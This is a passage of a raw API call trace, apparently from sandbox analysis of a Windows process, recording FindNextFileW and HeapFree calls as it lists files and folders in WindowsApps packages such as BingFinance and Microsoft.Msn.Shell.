ftCreationTime.dwLowDateTime=0x33f47386, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f6d5e4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f6d5e4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0078.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2aac4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe", cAlternateFileName="MIBC7F~1.0_N")) returned 1 [0078.805] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.805] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="default.html", cAlternateFileName="")) returned 1 [0078.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.809] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2d5d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0078.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.809] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0078.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.811] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0078.811] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0078.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.811] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0078.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.811] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa041d8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI0B0E~1.0_N")) returned 1 [0078.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.813] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf5cafa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf5cafa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf5cafa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0078.814] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.814] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0078.814] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0078.814] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.814] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa095f16, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIACEC~1.0_N")) returned 1 [0079.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.218] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0079.219] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.219] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0079.219] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0079.219] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0079.219] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7746cb84, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa097cbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI0B51~1.0_X")) returned 1 [0079.219] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.219] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x298e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0079.221] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.221] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x774b901c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa14080b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0079.223] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.223] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774df276, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x774df276, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Money_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1 [0079.223] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.223] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0 [0079.223] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0079.223] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.223] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0079.224] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.224] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20b499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JsonResources", cAlternateFileName="JSONRE~1")) returned 1 [0079.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.225] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x211d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1 [0079.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.226] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x776f534b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20cf06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x776f534b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0079.226] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0079.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.226] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x776cf25e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0079.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.228] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28dd9f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1 [0079.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.228] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28e968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1 [0079.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.228] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28f394, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1 [0079.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28fe63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0079.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1 [0079.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2907e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0 [0079.229] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0079.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0079.229] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa28c5b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0 [0079.229] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0079.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.230] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20ead2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0 [0079.230] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0079.230] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.231] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2911b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1 [0079.651] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.651] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0 [0079.651] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0079.651] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.651] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291d28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0 [0079.652] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0079.652] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.655] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0079.655] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0079.655] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0079.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1 [0079.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, 